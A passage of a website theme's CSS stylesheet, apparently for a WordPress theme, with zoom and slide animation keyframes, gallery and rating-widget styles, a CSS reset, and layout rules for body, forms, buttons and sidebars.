		-webkit-transform: translate3d(100%, 0, 0) rotate3d(0, 0, 1, 120deg);
		transform: translate3d(100%, 0, 0) rotate3d(0, 0, 1, 120deg)
	}
}
.rollOut {
	-webkit-animation-name: rollOut;
	animation-name: rollOut
}
@-webkit-keyframes zoomIn {
	from {
		opacity: 0;
		-webkit-transform: scale3d(.3, .3, .3);
		transform: scale3d(.3, .3, .3)
	}
	50% {
		opacity: 1
	}
}
@keyframes zoomIn {
	from {
		opacity: 0;
		-webkit-transform: scale3d(.3, .3, .3);
		transform: scale3d(.3, .3, .3)
	}
	50% {
		opacity: 1
	}
}
.zoomIn {
	-webkit-animation-name: zoomIn;
	animation-name: zoomIn
}
@-webkit-keyframes zoomInDown {
	from {
		opacity: 0;
		-webkit-transform: scale3d(.1, .1, .1) translate3d(0, -1000px, 0);
		transform: scale3d(.1, .1, .1) translate3d(0, -1000px, 0);
		-webkit-animation-timing-function: cubic-bezier(.55, .055, .675, .19);
		animation-timing-function: cubic-bezier(.55, .055, .675, .19)
	}
	60% {
		opacity: 1;
		-webkit-transform: scale3d(.475, .475, .475) translate3d(0, 60px, 0);
		transform: scale3d(.475, .475, .475) translate3d(0, 60px, 0);
		-webkit-animation-timing-function: cubic-bezier(.175, .885, .32, 1);
		animation-timing-function: cubic-bezier(.175, .885, .32, 1)
	}
}
@keyframes zoomInDown {
	from {
		opacity: 0;
		-webkit-transform: scale3d(.1, .1, .1) translate3d(0, -1000px, 0);
		transform: scale3d(.1, .1, .1) translate3d(0, -1000px, 0);
		-webkit-animation-timing-function: cubic-bezier(.55, .055, .675, .19);
		animation-timing-function: cubic-bezier(.55, .055, .675, .19)
	}
	60% {
		opacity: 1;
		-webkit-transform: scale3d(.475, .475, .475) translate3d(0, 60px, 0);
		transform: scale3d(.475, .475, .475) translate3d(0, 60px, 0);
		-webkit-animation-timing-function: cubic-bezier(.175, .885, .32, 1);
		animation-timing-function: cubic-bezier(.175, .885, .32, 1)
	}
}
.zoomInDown {
	-webkit-animation-name: zoomInDown;
	animation-name: zoomInDown
}
@-webkit-keyframes zoomInLeft {
	from {
		opacity: 0;
		-webkit-transform: scale3d(.1, .1, .1) translate3d(-1000px, 0, 0);
		transform: scale3d(.1, .1, .1) translate3d(-1000px, 0, 0);
		-webkit-animation-timing-function: cubic-bezier(.55, .055, .675, .19);
		animation-timing-function: cubic-bezier(.55, .055, .675, .19)
	}
	60% {
		opacity: 1;
		-webkit-transform: scale3d(.475, .475, .475) translate3d(10px, 0, 0);
		transform: scale3d(.475, .475, .475) translate3d(10px, 0, 0);
		-webkit-animation-timing-function: cubic-bezier(.175, .885, .32, 1);
		animation-timing-function: cubic-bezier(.175, .885, .32, 1)
	}
}
@keyframes zoomInLeft {
	from {
		opacity: 0;
		-webkit-transform: scale3d(.1, .1, .1) translate3d(-1000px, 0, 0);
		transform: scale3d(.1, .1, .1) translate3d(-1000px, 0, 0);
		-webkit-animation-timing-function: cubic-bezier(.55, .055, .675, .19);
		animation-timing-function: cubic-bezier(.55, .055, .675, .19)
	}
	60% {
		opacity: 1;
		-webkit-transform: scale3d(.475, .475, .475) translate3d(10px, 0, 0);
		transform: scale3d(.475, .475, .475) translate3d(10px, 0, 0);
		-webkit-animation-timing-function: cubic-bezier(.175, .885, .32, 1);
		animation-timing-function: cubic-bezier(.175, .885, .32, 1)
	}
}
.zoomInLeft {
	-webkit-animation-name: zoomInLeft;
	animation-name: zoomInLeft
}
@-webkit-keyframes zoomInRight {
	from {
		opacity: 0;
		-webkit-transform: scale3d(.1, .1, .1) translate3d(1000px, 0, 0);
		transform: scale3d(.1, .1, .1) translate3d(1000px, 0, 0);
		-webkit-animation-timing-function: cubic-bezier(.55, .055, .675, .19);
		animation-timing-function: cubic-bezier(.55, .055, .675, .19)
	}
	60% {
		opacity: 1;
		-webkit-transform: scale3d(.475, .475, .475) translate3d(-10px, 0, 0);
		transform: scale3d(.475, .475, .475) translate3d(-10px, 0, 0);
		-webkit-animation-timing-function: cubic-bezier(.175, .885, .32, 1);
		animation-timing-function: cubic-bezier(.175, .885, .32, 1)
	}
}
@keyframes zoomInRight {
	from {
		opacity: 0;
		-webkit-transform: scale3d(.1, .1, .1) translate3d(1000px, 0, 0);
		transform: scale3d(.1, .1, .1) translate3d(1000px, 0, 0);
		-webkit-animation-timing-function: cubic-bezier(.55, .055, .675, .19);
		animation-timing-function: cubic-bezier(.55, .055, .675, .19)
	}
	60% {
		opacity: 1;
		-webkit-transform: scale3d(.475, .475, .475) translate3d(-10px, 0, 0);
		transform: scale3d(.475, .475, .475) translate3d(-10px, 0, 0);
		-webkit-animation-timing-function: cubic-bezier(.175, .885, .32, 1);
		animation-timing-function: cubic-bezier(.175, .885, .32, 1)
	}
}
.zoomInRight {
	-webkit-animation-name: zoomInRight;
	animation-name: zoomInRight
}
@-webkit-keyframes zoomInUp {
	from {
		opacity: 0;
		-webkit-transform: scale3d(.1, .1, .1) translate3d(0, 1000px, 0);
		transform: scale3d(.1, .1, .1) translate3d(0, 1000px, 0);
		-webkit-animation-timing-function: cubic-bezier(.55, .055, .675, .19);
		animation-timing-function: cubic-bezier(.55, .055, .675, .19)
	}
	60% {
		opacity: 1;
		-webkit-transform: scale3d(.475, .475, .475) translate3d(0, -60px, 0);
		transform: scale3d(.475, .475, .475) translate3d(0, -60px, 0);
		-webkit-animation-timing-function: cubic-bezier(.175, .885, .32, 1);
		animation-timing-function: cubic-bezier(.175, .885, .32, 1)
	}
}
@keyframes zoomInUp {
	from {
		opacity: 0;
		-webkit-transform: scale3d(.1, .1, .1) translate3d(0, 1000px, 0);
		transform: scale3d(.1, .1, .1) translate3d(0, 1000px, 0);
		-webkit-animation-timing-function: cubic-bezier(.55, .055, .675, .19);
		animation-timing-function: cubic-bezier(.55, .055, .675, .19)
	}
	60% {
		opacity: 1;
		-webkit-transform: scale3d(.475, .475, .475) translate3d(0, -60px, 0);
		transform: scale3d(.475, .475, .475) translate3d(0, -60px, 0);
		-webkit-animation-timing-function: cubic-bezier(.175, .885, .32, 1);
		animation-timing-function: cubic-bezier(.175, .885, .32, 1)
	}
}
.zoomInUp {
	-webkit-animation-name: zoomInUp;
	animation-name: zoomInUp
}
@-webkit-keyframes zoomOut {
	from {
		opacity: 1
	}
	50% {
		opacity: 0;
		-webkit-transform: scale3d(.3, .3, .3);
		transform: scale3d(.3, .3, .3)
	}
	to {
		opacity: 0
	}
}
@keyframes zoomOut {
	from {
		opacity: 1
	}
	50% {
		opacity: 0;
		-webkit-transform: scale3d(.3, .3, .3);
		transform: scale3d(.3, .3, .3)
	}
	to {
		opacity: 0
	}
}
.zoomOut {
	-webkit-animation-name: zoomOut;
	animation-name: zoomOut
}
@-webkit-keyframes zoomOutDown {
	40% {
		opacity: 1;
		-webkit-transform: scale3d(.475, .475, .475) translate3d(0, -60px, 0);
		transform: scale3d(.475, .475, .475) translate3d(0, -60px, 0);
		-webkit-animation-timing-function: cubic-bezier(.55, .055, .675, .19);
		animation-timing-function: cubic-bezier(.55, .055, .675, .19)
	}
	to {
		opacity: 0;
		-webkit-transform: scale3d(.1, .1, .1) translate3d(0, 2000px, 0);
		transform: scale3d(.1, .1, .1) translate3d(0, 2000px, 0);
		-webkit-transform-origin: center bottom;
		transform-origin: center bottom;
		-webkit-animation-timing-function: cubic-bezier(.175, .885, .32, 1);
		animation-timing-function: cubic-bezier(.175, .885, .32, 1)
	}
}
@keyframes zoomOutDown {
	40% {
		opacity: 1;
		-webkit-transform: scale3d(.475, .475, .475) translate3d(0, -60px, 0);
		transform: scale3d(.475, .475, .475) translate3d(0, -60px, 0);
		-webkit-animation-timing-function: cubic-bezier(.55, .055, .675, .19);
		animation-timing-function: cubic-bezier(.55, .055, .675, .19)
	}
	to {
		opacity: 0;
		-webkit-transform: scale3d(.1, .1, .1) translate3d(0, 2000px, 0);
		transform: scale3d(.1, .1, .1) translate3d(0, 2000px, 0);
		-webkit-transform-origin: center bottom;
		transform-origin: center bottom;
		-webkit-animation-timing-function: cubic-bezier(.175, .885, .32, 1);
		animation-timing-function: cubic-bezier(.175, .885, .32, 1)
	}
}
.zoomOutDown {
	-webkit-animation-name: zoomOutDown;
	animation-name: zoomOutDown
}
@-webkit-keyframes zoomOutLeft {
	40% {
		opacity: 1;
		-webkit-transform: scale3d(.475, .475, .475) translate3d(42px, 0, 0);
		transform: scale3d(.475, .475, .475) translate3d(42px, 0, 0)
	}
	to {
		opacity: 0;
		-webkit-transform: scale(.1) translate3d(-2000px, 0, 0);
		transform: scale(.1) translate3d(-2000px, 0, 0);
		-webkit-transform-origin: left center;
		transform-origin: left center
	}
}
@keyframes zoomOutLeft {
	40% {
		opacity: 1;
		-webkit-transform: scale3d(.475, .475, .475) translate3d(42px, 0, 0);
		transform: scale3d(.475, .475, .475) translate3d(42px, 0, 0)
	}
	to {
		opacity: 0;
		-webkit-transform: scale(.1) translate3d(-2000px, 0, 0);
		transform: scale(.1) translate3d(-2000px, 0, 0);
		-webkit-transform-origin: left center;
		transform-origin: left center
	}
}
.zoomOutLeft {
	-webkit-animation-name: zoomOutLeft;
	animation-name: zoomOutLeft
}
@-webkit-keyframes zoomOutRight {
	40% {
		opacity: 1;
		-webkit-transform: scale3d(.475, .475, .475) translate3d(-42px, 0, 0);
		transform: scale3d(.475, .475, .475) translate3d(-42px, 0, 0)
	}
	to {
		opacity: 0;
		-webkit-transform: scale(.1) translate3d(2000px, 0, 0);
		transform: scale(.1) translate3d(2000px, 0, 0);
		-webkit-transform-origin: right center;
		transform-origin: right center
	}
}
@keyframes zoomOutRight {
	40% {
		opacity: 1;
		-webkit-transform: scale3d(.475, .475, .475) translate3d(-42px, 0, 0);
		transform: scale3d(.475, .475, .475) translate3d(-42px, 0, 0)
	}
	to {
		opacity: 0;
		-webkit-transform: scale(.1) translate3d(2000px, 0, 0);
		transform: scale(.1) translate3d(2000px, 0, 0);
		-webkit-transform-origin: right center;
		transform-origin: right center
	}
}
.zoomOutRight {
	-webkit-animation-name: zoomOutRight;
	animation-name: zoomOutRight
}
@-webkit-keyframes zoomOutUp {
	40% {
		opacity: 1;
		-webkit-transform: scale3d(.475, .475, .475) translate3d(0, 60px, 0);
		transform: scale3d(.475, .475, .475) translate3d(0, 60px, 0);
		-webkit-animation-timing-function: cubic-bezier(.55, .055, .675, .19);
		animation-timing-function: cubic-bezier(.55, .055, .675, .19)
	}
	to {
		opacity: 0;
		-webkit-transform: scale3d(.1, .1, .1) translate3d(0, -2000px, 0);
		transform: scale3d(.1, .1, .1) translate3d(0, -2000px, 0);
		-webkit-transform-origin: center bottom;
		transform-origin: center bottom;
		-webkit-animation-timing-function: cubic-bezier(.175, .885, .32, 1);
		animation-timing-function: cubic-bezier(.175, .885, .32, 1)
	}
}
@keyframes zoomOutUp {
	40% {
		opacity: 1;
		-webkit-transform: scale3d(.475, .475, .475) translate3d(0, 60px, 0);
		transform: scale3d(.475, .475, .475) translate3d(0, 60px, 0);
		-webkit-animation-timing-function: cubic-bezier(.55, .055, .675, .19);
		animation-timing-function: cubic-bezier(.55, .055, .675, .19)
	}
	to {
		opacity: 0;
		-webkit-transform: scale3d(.1, .1, .1) translate3d(0, -2000px, 0);
		transform: scale3d(.1, .1, .1) translate3d(0, -2000px, 0);
		-webkit-transform-origin: center bottom;
		transform-origin: center bottom;
		-webkit-animation-timing-function: cubic-bezier(.175, .885, .32, 1);
		animation-timing-function: cubic-bezier(.175, .885, .32, 1)
	}
}
.zoomOutUp {
	-webkit-animation-name: zoomOutUp;
	animation-name: zoomOutUp
}
@-webkit-keyframes slideInDown {
	from {
		-webkit-transform: translate3d(0, -100%, 0);
		transform: translate3d(0, -100%, 0);
		visibility: visible
	}
	to {
		-webkit-transform: translate3d(0, 0, 0);
		transform: translate3d(0, 0, 0)
	}
}
@keyframes slideInDown {
	from {
		-webkit-transform: translate3d(0, -100%, 0);
		transform: translate3d(0, -100%, 0);
		visibility: visible
	}
	to {
		-webkit-transform: translate3d(0, 0, 0);
		transform: translate3d(0, 0, 0)
	}
}
.slideInDown {
	-webkit-animation-name: slideInDown;
	animation-name: slideInDown
}
@-webkit-keyframes slideInLeft {
	from {
		-webkit-transform: translate3d(-100%, 0, 0);
		transform: translate3d(-100%, 0, 0);
		visibility: visible
	}
	to {
		-webkit-transform: translate3d(0, 0, 0);
		transform: translate3d(0, 0, 0)
	}
}
@keyframes slideInLeft {
	from {
		-webkit-transform: translate3d(-100%, 0, 0);
		transform: translate3d(-100%, 0, 0);
		visibility: visible
	}
	to {
		-webkit-transform: translate3d(0, 0, 0);
		transform: translate3d(0, 0, 0)
	}
}
.slideInLeft {
	-webkit-animation-name: slideInLeft;
	animation-name: slideInLeft
}
@-webkit-keyframes slideInRight {
	from {
		-webkit-transform: translate3d(100%, 0, 0);
		transform: translate3d(100%, 0, 0);
		visibility: visible
	}
	to {
		-webkit-transform: translate3d(0, 0, 0);
		transform: translate3d(0, 0, 0)
	}
}
@keyframes slideInRight {
	from {
		-webkit-transform: translate3d(100%, 0, 0);
		transform: translate3d(100%, 0, 0);
		visibility: visible
	}
	to {
		-webkit-transform: translate3d(0, 0, 0);
		transform: translate3d(0, 0, 0)
	}
}
.slideInRight {
	-webkit-animation-name: slideInRight;
	animation-name: slideInRight
}
@-webkit-keyframes slideInUp {
	from {
		-webkit-transform: translate3d(0, 100%, 0);
		transform: translate3d(0, 100%, 0);
		visibility: visible
	}
	to {
		-webkit-transform: translate3d(0, 0, 0);
		transform: translate3d(0, 0, 0)
	}
}
@keyframes slideInUp {
	from {
		-webkit-transform: translate3d(0, 100%, 0);
		transform: translate3d(0, 100%, 0);
		visibility: visible
	}
	to {
		-webkit-transform: translate3d(0, 0, 0);
		transform: translate3d(0, 0, 0)
	}
}
.slideInUp {
	-webkit-animation-name: slideInUp;
	animation-name: slideInUp
}
@-webkit-keyframes slideOutDown {
	from {
		-webkit-transform: translate3d(0, 0, 0);
		transform: translate3d(0, 0, 0)
	}
	to {
		visibility: hidden;
		-webkit-transform: translate3d(0, 100%, 0);
		transform: translate3d(0, 100%, 0)
	}
}
@keyframes slideOutDown {
	from {
		-webkit-transform: translate3d(0, 0, 0);
		transform: translate3d(0, 0, 0)
	}
	to {
		visibility: hidden;
		-webkit-transform: translate3d(0, 100%, 0);
		transform: translate3d(0, 100%, 0)
	}
}
.slideOutDown {
	-webkit-animation-name: slideOutDown;
	animation-name: slideOutDown
}
@-webkit-keyframes slideOutLeft {
	from {
		-webkit-transform: translate3d(0, 0, 0);
		transform: translate3d(0, 0, 0)
	}
	to {
		visibility: hidden;
		-webkit-transform: translate3d(-100%, 0, 0);
		transform: translate3d(-100%, 0, 0)
	}
}
@keyframes slideOutLeft {
	from {
		-webkit-transform: translate3d(0, 0, 0);
		transform: translate3d(0, 0, 0)
	}
	to {
		visibility: hidden;
		-webkit-transform: translate3d(-100%, 0, 0);
		transform: translate3d(-100%, 0, 0)
	}
}
.slideOutLeft {
	-webkit-animation-name: slideOutLeft;
	animation-name: slideOutLeft
}
@-webkit-keyframes slideOutRight {
	from {
		-webkit-transform: translate3d(0, 0, 0);
		transform: translate3d(0, 0, 0)
	}
	to {
		visibility: hidden;
		-webkit-transform: translate3d(100%, 0, 0);
		transform: translate3d(100%, 0, 0)
	}
}
@keyframes slideOutRight {
	from {
		-webkit-transform: translate3d(0, 0, 0);
		transform: translate3d(0, 0, 0)
	}
	to {
		visibility: hidden;
		-webkit-transform: translate3d(100%, 0, 0);
		transform: translate3d(100%, 0, 0)
	}
}
.slideOutRight {
	-webkit-animation-name: slideOutRight;
	animation-name: slideOutRight
}
@-webkit-keyframes slideOutUp {
	from {
		-webkit-transform: translate3d(0, 0, 0);
		transform: translate3d(0, 0, 0)
	}
	to {
		visibility: hidden;
		-webkit-transform: translate3d(0, -100%, 0);
		transform: translate3d(0, -100%, 0)
	}
}
@keyframes slideOutUp {
	from {
		-webkit-transform: translate3d(0, 0, 0);
		transform: translate3d(0, 0, 0)
	}
	to {
		visibility: hidden;
		-webkit-transform: translate3d(0, -100%, 0);
		transform: translate3d(0, -100%, 0)
	}
}
.slideOutUp {
	-webkit-animation-name: slideOutUp;
	animation-name: slideOutUp
}
@-webkit-keyframes justified-gallery-show-caption-animation {
	from {
		opacity: 0
	}
	to {
		opacity: .7
	}
}
@-moz-keyframes justified-gallery-show-caption-animation {
	from {
		opacity: 0
	}
	to {
		opacity: .7
	}
}
@-o-keyframes justified-gallery-show-caption-animation {
	from {
		opacity: 0
	}
	to {
		opacity: .7
	}
}
@keyframes justified-gallery-show-caption-animation {
	from {
		opacity: 0
	}
	to {
		opacity: .7
	}
}
@-webkit-keyframes justified-gallery-show-entry-animation {
	from {
		opacity: 0
	}
	to {
		opacity: 1
	}
}
@-moz-keyframes justified-gallery-show-entry-animation {
	from {
		opacity: 0
	}
	to {
		opacity: 1
	}
}
@-o-keyframes justified-gallery-show-entry-animation {
	from {
		opacity: 0
	}
	to {
		opacity: 1
	}
}
@keyframes justified-gallery-show-entry-animation {
	from {
		opacity: 0
	}
	to {
		opacity: 1
	}
}
.justified-gallery {
	width: 100%;
	position: relative;
	overflow: hidden
}
.justified-gallery>a,
.justified-gallery>div {
	position: absolute;
	display: inline-block;
	overflow: hidden;
	opacity: 0
}
.justified-gallery>a>a>img,
.justified-gallery>a>img,
.justified-gallery>div>a>img,
.justified-gallery>div>img {
	position: absolute;
	top: 50%;
	left: 50%;
	margin: 0;
	padding: 0;
	border: 0
}
.justified-gallery>a>.caption,
.justified-gallery>div>.caption {
	display: none;
	position: absolute;
	bottom: 0;
	padding: 5px;
	background-color: #000;
	left: 0;
	right: 0;
	margin: 0;
	color: #fff;
	font-size: 12px;
	font-weight: 300;
	font-family: sans-serif
}
.justified-gallery>a>.caption.caption-visible,
.justified-gallery>div>.caption.caption-visible {
	display: initial;
	opacity: .7;
	filter: "alpha(opacity=70)";
	-webkit-animation: justified-gallery-show-caption-animation .5s 0 ease;
	-moz-animation: justified-gallery-show-caption-animation .5s 0 ease;
	-ms-animation: justified-gallery-show-caption-animation .5s 0 ease
}
.justified-gallery>.entry-visible {
	opacity: 1;
	-webkit-animation: justified-gallery-show-entry-animation .5s 0 ease;
	-moz-animation: justified-gallery-show-entry-animation .5s 0 ease;
	-ms-animation: justified-gallery-show-entry-animation .5s 0 ease
}
.justified-gallery>.jg-filtered {
	display: none
}
.justified-gallery>.spinner {
	position: absolute;
	bottom: 0;
	margin-left: -24px;
	padding: 10px 0;
	left: 50%;
	opacity: initial;
	filter: initial;
	overflow: initial
}
.justified-gallery>.spinner>span {
	display: inline-block;
	opacity: 0;
	width: 8px;
	height: 8px;
	margin: 0 4px;
	background-color: #000;
	border-top-left-radius: 6px;
	border-top-right-radius: 6px;
	border-bottom-right-radius: 6px;
	border-bottom-left-radius: 6px
}
.jq-ry-container {
	position: relative;
	padding: 0 5px;
	line-height: 0;
	display: block;
	cursor: pointer;
	-webkit-box-sizing: content-box;
	-moz-box-sizing: content-box;
	box-sizing: content-box;
	direction: ltr
}
.jq-ry-container[readonly=readonly] {
	cursor: default
}
.jq-ry-container>.jq-ry-group-wrapper {
	position: relative;
	width: 100%
}
.jq-ry-container>.jq-ry-group-wrapper>.jq-ry-group {
	position: relative;
	line-height: 0;
	z-index: 10;
	white-space: nowrap
}
.jq-ry-container>.jq-ry-group-wrapper>.jq-ry-group>svg {
	display: inline-block
}
.jq-ry-container>.jq-ry-group-wrapper>.jq-ry-group.jq-ry-normal-group {
	width: 100%
}
.jq-ry-container>.jq-ry-group-wrapper>.jq-ry-group.jq-ry-rated-group {
	width: 0;
	z-index: 11;
	position: absolute;
	top: 0;
	left: 0;
	overflow: hidden
}
* {
	box-sizing: border-box;
	-webkit-box-sizing: border-box;
	-moz-box-sizing: border-box;
	-moz-box-sizing: border-box;
	outline: 0
}
*,
blockquote,
body,
dd,
div,
dl,
dt,
fieldset,
form,
h1,
h2,
h3,
h4,
h5,
h6,
html,
input,
label,
li,
ol,
p,
pre,
td,
th,
ul {
	margin: 0;
	padding: 0
}
input {
	background-color: transparent
}
table {
	border-collapse: collapse;
	border-spacing: 0
}
fieldset,
img {
	border: 0
}
address,
caption,
cite,
code,
dfn,
strong,
th,
var {
	font-style: normal;
	font-weight: 400
}
li,
ol,
ul {
	list-style: none
}
caption,
th {
	text-align: left
}
h1,
h2,
h3,
h4,
h5,
h6 {
	font-size: 100%;
	font-weight: 400
}
q:after,
q:before {
	content: ""
}
strong {
	font-weight: 700
}
em {
	font-style: italic
}
img {
	max-width: 100%;
	vertical-align: top;
	height: auto
}
a img {
	border: none
}
iframe {
	border: none;
	max-width: none
}
iframe[name=google_conversion_frame] {
	height: 0;
	display: block;
	overflow: hidden
}
.penci-center {
	text-align: center
}
body:not(.penci-fawesome-ver5) .penci-faicon {
	font-family: FontAwesome;
	font-weight: 400
}
body:not(.penci-fawesome-ver5) .penci-faicon.fa-vimeo:before {
	content: "\f27d"
}
button,
input[type=button],
input[type=email],
input[type=search],
input[type=submit],
input[type=text],
textarea {
	-webkit-appearance: none;
	border-radius: 0;
	-webkit-border-radius: 0
}
p:empty:before {
	content: none
}
body,
html {
	-webkit-font-smoothing: antialiased
}
body {
	font-family: var(--pcbody-font);
	color: #313131;
	background-color: #fff;
	font-size: 14px;
	overflow-x: hidden;
	text-rendering: optimizeLegibility;
	-webkit-font-smoothing: antialiased;
	-moz-osx-font-smoothing: grayscale;
	--pcbg-cl: #fff;
	--pctext-cl: #313131;
	--pcborder-cl: #dedede;
	--pcheading-cl: #313131;
	--pcmeta-cl: #888888;
	--pcaccent-cl: #6eb48c;
	--pcbody-font: "PT Serif", serif;
	--pchead-font: "Raleway", sans-serif;
	--pchead-wei: bold;
	--pchd-mg: 60px;
	--pcctain: 1170px;
	--pcctain2:1400px;
	--pcajs_tcl: var(--pcheading-cl);
	--pcajs_thcl: var(--pcaccent-cl);
	--pcajs_mcl: var(--pcmeta-cl);
	--pcajs_mhcl: var(--pcmeta-cl);
	--pcajs_ncl: var(--pctext-cl);
	--pcajs_bcl: var(--pcborder-cl);
	--pcajs_bgcl: var(--pcbg-cl);
	--pcajs_bghcl: #f9f9f9;
	--pcajs_tfz: 13px;
	--pcajs_mfz: 12px;
	--pcajs_nfz: 13px;
	--pcsnav-w: 270px
}
textarea {
	min-height: 100px
}
input[type=date],
input[type=email],
input[type=number],
input[type=password],
input[type=search],
input[type=tel],
input[type=text],
input[type=url],
select,
textarea {
	font-family: var(--pcbody-font);
	padding: 11px 20px;
	max-width: 100%;
	width: 100%;
	border: 1px solid var(--pcborder-cl);
	border-radius: 0;
	background-color: transparent;
	box-shadow: none;
	color: var(--pctext-cl);
	vertical-align: middle;
	font-size: inherit
}
select {
	padding: 8px 28px 8px 15px;
	background-image: url(data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHdpZHRoPSIyNSIgaGVpZ2h0PSIyNSIgZmlsbD0ibm9uZSIgc3Ryb2tlLXdpZHRoPSIyIiBzdHJva2U9IiNiYmIiPjxwYXRoIGQ9Ik02IDlsNiA2IDYtNiIvPjwvc3ZnPg==);
	background-position: right 10px top 50%;
	background-size: auto 18px;
	background-repeat: no-repeat;
	-webkit-appearance: none;
	-moz-appearance: none;
	appearance: none
}
input[type=date]:focus,
input[type=email]:focus,
input[type=number]:focus,
input[type=password]:focus,
input[type=search]:focus,
input[type=tel]:focus,
input[type=text]:focus,
input[type=url]:focus,
select:focus,
textarea:focus {
	outline: 0
}
[type=button],
[type=submit],
button {
	font-family: var(--pchead-font);
	font-weight: var(--pchead-wei);
	padding: 12px 20px;
	font-size: 13px;
	line-height: 1.2;
	background-color: var(--pcaccent-cl);
	color: #fff;
	text-align: center;
	display: inline-block;
	outline: 0;
	border: 0;
	border-radius: 0;
	box-shadow: none;
	text-decoration: none;
	text-shadow: none;
	cursor: pointer;
	text-transform: uppercase
}
button[disabled],
input[disabled] {
	opacity: .6 !important;
	cursor: default
}
p {
	font-size: 14px;
	line-height: 28px
}
.elementor-widget-text-editor p {
	font-size: inherit;
	line-height: inherit;
	text-align: inherit
}
a {
	text-decoration: none;
	color: var(--pcaccent-cl);
	transition: color .3s;
	-webkit-transition: color .3s;
	-moz-transition: color .3s;
	outline: 0;
	cursor: pointer
}
h1,
h2,
h3,
h4,
h5,
h6 {
	font-family: var(--pchead-font);
	font-style: normal;
	font-weight: var(--pchead-wei);
	line-height: 1.35
}
.container {
	width: var(--pcctain);
	margin: 0 auto
}
.container.container-1400 {
	max-width: var(--pcctain2);
	width: 100%
}
.container.container-fullwidth {
	max-width: 100%;
	width: 100%
}
.pc-wrapbuilder-header-inner .container.container-1400,
.penci-header-wrap .container.container-1400 {
	--pcctain: var(--pcctain2)
}
.pc-wrapbuilder-header-inner .container.container-fullwidth,
.penci-header-wrap .container.container-fullwidth {
	--pcctain: 100vw
}
.penci-page-container-smaller {
	max-width: 900px;
	margin-left: auto;
	margin-right: auto;
	display: block
}
.container.penci_sidebar:after,
.container.penci_sidebar:before {
	content: "";
	display: table;
	clear: both
}
body:not(.penci-fawesome-ver5) .penci-faicon.fa-facebook-f:before,
body:not(.penci-fawesome-ver5) .penci-faicon.fa-facebook:before {
	content: "\f09a"
}
#main {
	width: 100%
}
.container.penci_sidebar #main,
.penci-single-style-10 .penci-single-s10-content{
	width: 70.94%;
	padding-right: 50px;
	float: left
}
.penci-single-style-20 .penci-single-s20-content{
	width: 55%;
}
.penci-single-style-20 .penci-post-image-wrapper .penci-sidebar-content {
	width: 40%;
}
.penci-single-style-13 .penci-single-s13-content {
	width: calc(50vw + (100vw - var(--pcctain)) / 2);
	margin-left: calc((100vw - var(--pcctain)) / -2);
}
.container.penci_sidebar.left-sidebar #main,
.penci-single-style-10.penci_sidebar.left-sidebar .penci-single-s10-content,
.penci-single-style-20.penci_sidebar.left-sidebar .penci-single-s20-content,
.penci-single-style-13.penci_sidebar.left-sidebar .penci-single-s13-content {
	float: right;
	padding: 0 0 0 60px
}
.penci-single-style-20 .header-standard .post-box-meta-single {
	margin-top: 20px;
}
.penci-sidebar-content {
	width: 29.06%;
	float: right
}
.penci-single-style-13 .penci-post-image-wrapper .penci-sidebar-content {
	width: 60%;
}
.penci-single-style-13 .container.two-sidebar .penci-sidebar-content {
	width: 50%;
}
.penci-single-style-13 .post-format-entry-header {
	display: flex;
	flex-direction: row-reverse;
}
.penci-single-style-13 .penci-post-image-wrapper .penci-sidebar-content {
	align-content: center;
	position: relative;
	z-index: 4;
	background: var(--pcaccent-cl);
}
.penci-single-style-13 .penci-post-image-wrapper .penci-sidebar-content:before,
.penci-single-style-13 .penci-post-image-wrapper .penci-sidebar-content:after {
	content: '';
	position: absolute;
	bottom: -40px;
	width: 100%;
	height: 40px;
	left: 0;
	right: 0;
	background: var(--pcaccent-cl);
	z-index: 2;
}
.penci-single-style-13.penci-show-ft-caption .penci-post-image-wrapper .penci-sidebar-content:after {
	display: block;
}
@media only screen and (max-width: 960px) {
	.penci-single-style-13.penci-show-ft-caption .penci-post-image-wrapper .penci-sidebar-content:after,
	.penci-single-style-13 .penci-post-image-wrapper .penci-sidebar-content:after {
		display: none;
	}
}
@media only screen and (min-width: 768px){
	.penci-single-style-13.penci-show-ft-caption .penci-featured-caption {
		position: absolute;
		text-align: right;
		background: transparent;
		color: var(--pcheading-cl);
		bottom: -40px;
	}
}
.penci-single-style-13.penci-show-ft-caption .post-image {
	overflow: visible;
}
.penci-single-style-13 .penci-post-image-wrapper .penci-sidebar-content:before {
	right: auto;
	opacity: 0.5;
	left: 100%;
	bottom: 0;
	z-index: -1;
	background: var(--pcbg-cl);
	opacity: 0.1;
}
.penci-single-style-13 .penci-post-image-wrapper .penci-sidebar-content .single-header {
	position: relative;
	padding: 50px 0 50px 50px;
}  
.penci-single-style-13 .penci-container-inside.penci-breadcrumb {
	position: relative;
	padding-left: 50px;
}
.penci-single-style-13 .penci-container-inside.penci-breadcrumb span,
.penci-single-style-13 .penci-container-inside.penci-breadcrumb i,
.penci-single-style-13 .penci-container-inside.penci-breadcrumb span a {
	color: #fff;
}
.penci-single-style-13 .penci-sidebar-content,
.penci-single-style-13 .penci-main-sticky-sidebar {
	margin-top: 40px;
}
@media only screen and (min-width:961px) {
	.penci-single-style-10 .penci-post-image-wrapper .container.two-sidebar .penci-sidebar-content {
		width: 29.06%
	}
	.penci-single-style-20 .penci-post-image-wrapper .container.two-sidebar .penci-sidebar-content {
		width: 39%;
	}
}
.penci-sidebar-content-vc {
	width: 100% !important;
	float: none
}
.penci_sidebar.left-sidebar .penci-sidebar-content {
	float: left
}
.penci-sidebar-content.penci-sticky-sidebar.is-sticky {
	margin-top: 75px
}
.admin-bar .penci-sidebar-content.penci-sticky-sidebar.is-sticky {
	margin-top: 107px
}
#penci-end-sidebar-sticky {
	margin-top: -300px;
	padding-top: 300px
}
.clear-footer {
	height: 1px;
	margin-bottom: 29px;
	clear: both;
	display: block;
	width: 100%
}
.clearfix {
	clear: both
}
.penci-clearfix {
	clear: both
}
.penci-clearfix:after,
.penci-clearfix:before {
	content: "";
	display: table;
	clear: both
}
.wrapper-boxed {
	overflow: hidden
}
body.penci-body-boxed {
	background: #f5f5f5;
	background-position: center center;
	background-size: cover;
	background-repeat: no-repeat;
	background-attachment: fixed
}
.wrapper-boxed.enable-boxed {
	background: #fff;
	max-width: calc(var(--pcctain) + 60px);
	display: block;
	overflow: hidden;
	margin: 0 auto;
	box-shadow: 0 5px 8px rgba(0, 0, 0, .2);
	-webkit-box-shadow: 0 5px 8px rgba(0, 0, 0, .2);
	-moz-box-shadow: 0 5px 8px rgba(0, 0, 0, .2)
}
.wrapper-boxed.enable-boxed .penci_header.penci_builder_sticky_header_desktop {
